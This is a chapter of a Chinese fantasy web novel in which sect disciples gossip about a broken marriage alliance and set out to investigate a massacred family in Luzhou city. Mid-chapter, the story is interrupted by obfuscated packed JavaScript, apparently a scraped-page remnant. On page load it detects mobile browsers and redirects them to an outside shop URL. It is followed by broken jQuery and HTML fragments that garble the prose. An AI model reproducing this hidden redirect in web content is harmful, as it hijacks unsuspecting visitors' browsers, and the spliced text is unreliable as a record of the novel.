69. 王家被灭

作品:《身为女主[穿书]

    这一次从藏书阁借出的书里,各类史书比有关空间法术的典籍还要多,其中有关于修仙界的,也有记载凡世变迁的,苏遥夜在读那些史书时发现一件事。


    修仙界的昌盛是有周期性的,大体上分盛法时代和末法时代,有点类似现代世界的间冰期和冰河期。


    上一次末法时代,凡间国家在战争中发明了火铳,而在此之前,火药已经发明了十几万年。


    在苏遥夜原来的世界,从封建社会到现代社会花的时间连三千年都没有,而整个青云大陆却在封建时代停了百万年之久。


    坐直了身体,苏遥夜刚要深入思考这个问题,就被突然响起来的雁影镜打断了。


    苏遥夜取出雁影镜一看,发现是相熟的师妹找她,于是又躺回了藤椅上,懒散地开口:“你又听到什么八卦要和我分享了,你师尊安排的课业做完了吗,萧萧?”


    这位师妹叫采萧,小名萧萧,和苏遥夜是同时间入山的内门弟子,比她小两岁,平素最爱的就是到处听八卦闲聊,为此没少被她师尊骂。


    “嘿嘿,我忍不住嘛,千万不要和我师尊告状,不然他又要罚我扫山阶了。”采萧冲她吐了吐舌头。


    佯作思考后,苏遥夜笑道:“那要看你这次带来什么消息了。”


    “之前不都传温孤家又要和白家联姻了吗,这事黄了!”采萧压低声音,神神秘秘地说。


    虽然已经知道内情,苏遥夜还是装出惊讶的样子:“为什么黄了?”


    “听说是因为白家少主和温孤家五少爷同归于尽了。”采萧托着腮道,“温孤家倒还好,主要是白家那边,白思远的母亲完全不能接受独子的死,非要温孤家给个交代。”


    “这能给什么交代啊,温孤明自己都死了,难道温孤家全体自裁给白家谢罪吗?”


    苏遥夜问:“白家家主是什么态度?”


    “支持自己夫人呗,”采萧撇撇嘴道,“白家家主就是个草包,当年不是有他母亲在背后筹谋,他早被其他兄弟吃得骨头都不剩了。后来母亲死了,他就靠原配妻子,原配死了靠续弦。”


    这样一个有权力没能力的家主,简直是一场灾难。


    听采萧说着白家那些破事,苏遥夜思绪开始飘飞。


    不知道温孤言做的够不够谨慎,要是被发现了怎么办?


    “白思远那事是你做的吧?你不怕被发现吗?”云闲峰上,刚巡逻完晏灯疏手撑在桌子上,质问温孤言。


    “……”温孤言无视晏灯疏释放的威压,浅啜了口茶,继续看风胤交给他处理的文书。


    “别无视我!”晏灯疏拍桌。


    捧着茶杯,温孤言撩起眼皮,看向晏灯疏:“离开贺城没看到他们两个时,你不就应该猜到了吗?”


    确实,但猜到是一回事,知道后的处理又是另一回事。


    “二师伯上午的时候问了我此事,这是我最后一次替你隐瞒。”晏灯疏直视温孤言,“拜托你下次稍微替我们考虑一下,冒险很好玩吗?一个人对付那么多护卫轻松吗?让我们帮一帮会死吗?”


    他纠结许久,终于做好帮忙的准备了,在客栈时也暗示了,结果温孤言自己不声不响就去干了票大的。


    温孤言指腹在杯壁上摩挲了下,说:“我自己能解决的事,不必拉你们下水。”


    就像他在灵舟上说的那样,他不会拉宗门下水,也不会拉牵连无辜的人。


    “你……”晏灯疏被他噎得说不出话,嘴角抽了两下,“行,你厉害。”


    扇子被他“啪”一下拍在桌上,看着温孤言的脸,气不打一处来:“以后任务你都一个人去做吧。”


    又喝了两口茶,温孤言眼珠子偏了偏,不知道怎么跟晏灯疏解释,那些个侍卫其实都不够他塞牙缝的,真不至于到冒着生命危险的地步。


    好在作为一个合格的“父亲”,晏灯疏气来的快,去的也快,喝了两杯茶清完火,就坐了下来,说起了后续处理:“现在白家在和温孤家扯皮,白思远的生母因为儿子的死,神志有点不清醒了,逮着温孤家死咬不放。温孤家派出来的人没查出什么,就想找个替罪羊把锅甩出去。”


    “虽然白思远和温孤明身边的人都死光了,但贺城看到我们曾与他们同行的人还是有的,要是被温孤家查到,难保不会联想到你身上。”


    “无妨,他们查不到的。”温孤言提笔,将掌门增修酒窖的文书打了回去。


    在离开贺城前,他模糊了贺城人有关这一段的记忆,温孤家的人最多知道这两人进过城。


    晏灯疏不清楚温孤言在其中做了什么,仍打算派点人去贺城那边盯着。


    见劝不住,温孤言也懒得再劝,继续看文书。


    顺手帮温孤言处理完那一摞文书后,晏灯疏把玩着扇子问:“对了,你和颜师妹进展如何?”


    瞥了晏灯疏一眼,温孤言随意道:“就还原来那样。”


    他并不是个喜欢剖析自我的人,尤其不喜欢把自己的感情剖析给别人看。这和把自己的皮囊血肉撕开,给人看骨头上挂着的筋没区别。


    当然晏灯疏也没这个兴趣,他主要就是想炫耀一下:“你没有我可有,风师妹都不生我气了。”


    这是什么很值得炫耀的事吗?把人惹生气的是谁?


    面对温孤言无语的眼神,晏灯疏咳了一下说:“好歹愿意主动和我说话了。”


    从负分回到零分,何尝不是一种进步呢?


    温孤言敷衍地说:“嗯,你厉害。”


    侧坐着,一手抵着太阳穴,晏灯疏闲聊似地问:“对了,还记得以前我问你喜欢什么样人,那会你怎么答的吗?”


    “不记得。”温孤言语气淡淡。


    “那会你说不知道,这辈子大概也不会喜欢什么人,”晏灯疏掀唇笑了声,“还说就算倒霉真有了,也不会为对方要死要活地折腾,现在你怎么想?”


    “能怎么想?”温孤言道,“我有了喜欢的人,可以为她生为她死,牺牲一切在所不惜?在你眼中,我是那样的人?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976662|193529||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“那谁知道呢?就像以前我也不知道你会喜欢颜师妹一样。”晏灯疏眼中带着戏谑的笑。


    见温孤言无视自己,晏灯疏屈指扣了下桌子:“你要是不敢兴趣,我去找颜师妹聊聊这个话题怎么样?或许你会比较看重她的想法。”


    说着,他还真就要起身去找苏遥夜。


    温孤言眉心一跳,“啧”了声说:“回来。”


    晏灯疏果真坐了回去,展开扇子,风流倜傥地扇了两下:“你说你和你爹羞涩什么呢,爹又不会嘲笑你的少男心事。”


    “……”麻烦说这话前把脸上的笑收一收。


    打打闹闹,吃瓜修炼的日子过得很快,凤梧山上一片岁月静好,南明国却是火烧了眉毛。


    反叛的种子像是野火燎原,短短四个月的时间,南明朝廷就失去了对一半国土的掌控权,中央自顾不暇,镇压叛乱的事也只能一拖再拖。


    凤梧山附近的鹭州城虽然没反,却也一直受周边两方势力的争夺,最近几日才正式宣布易主,同时鹭州城内持续两月之久的诡异事件终于被发现,求助到了凤梧山。


    “鹭州城大户王家一夜之间满门被灭?”苏遥夜十分惊讶,上次他们去醉仙楼喝酒时都还好好的,怎么会突然……


    这是第一次,受害的人家是她曾知道、产生过联系的,虽然这点联系微薄的就像糊窗户的纸,但给人的感觉终究是不一样的。


    “而且调查王家人死因的官差出来后,没多久就死亡了。”温孤言读着玉牌里的信息说,“王府内怨气太重,估计已经成了养鬼地。”


    大约三月前,有人奇怪地发现王家府邸连续几日,无人看守,无人出来,敲门亦无人应答。有人翻墙看了一眼,发现王家内遍地尸首,于是便报了官。


    官府撞开了王家的大门,发现王家上下两百多号人无一幸存,随后踏进过王家大门的人,也都接连死去。一时间城内人心惶惶,官府也猜到此事与鬼怪有关,然而当时的鹭州城正处在一个尴尬的地位,任何动作都有可能引发战争,只得暂时压下。


    后来灾祸开始蔓延,鹭州城内的人不论贫富贵贱,都开始无故横死。


    鹭州城知府无法,只能同那两方势力商量着,看看能否通融。结果还没商量出个所以然来,他们就打起来了,一方带着残兵遁走,鹭州城自然也就归属了胜的那方势力,这求救信也终于递到了凤梧山。


    “这次就我们四个去调查吗?”苏遥夜看了看周围三人。


    “还有五长老风静,”晏灯疏说,“不过他前段时间刚好在外面游历,我们直接去鹭州城等他就行了。”


    “哦。”一阵冷风吹来,苏遥夜抄起了手。


    五长老风静?好像没怎么听说过,不知道是个什么样的人。


    时隔四月,再次来到鹭州城,却见街面上冷冷清清,全然没了之前所见的热闹烟火气。


    明明是个阳光明媚的日子,城内却好像蒙了曾布似的,目之所及的一切都灰蒙蒙的,无端让人感觉阴冷。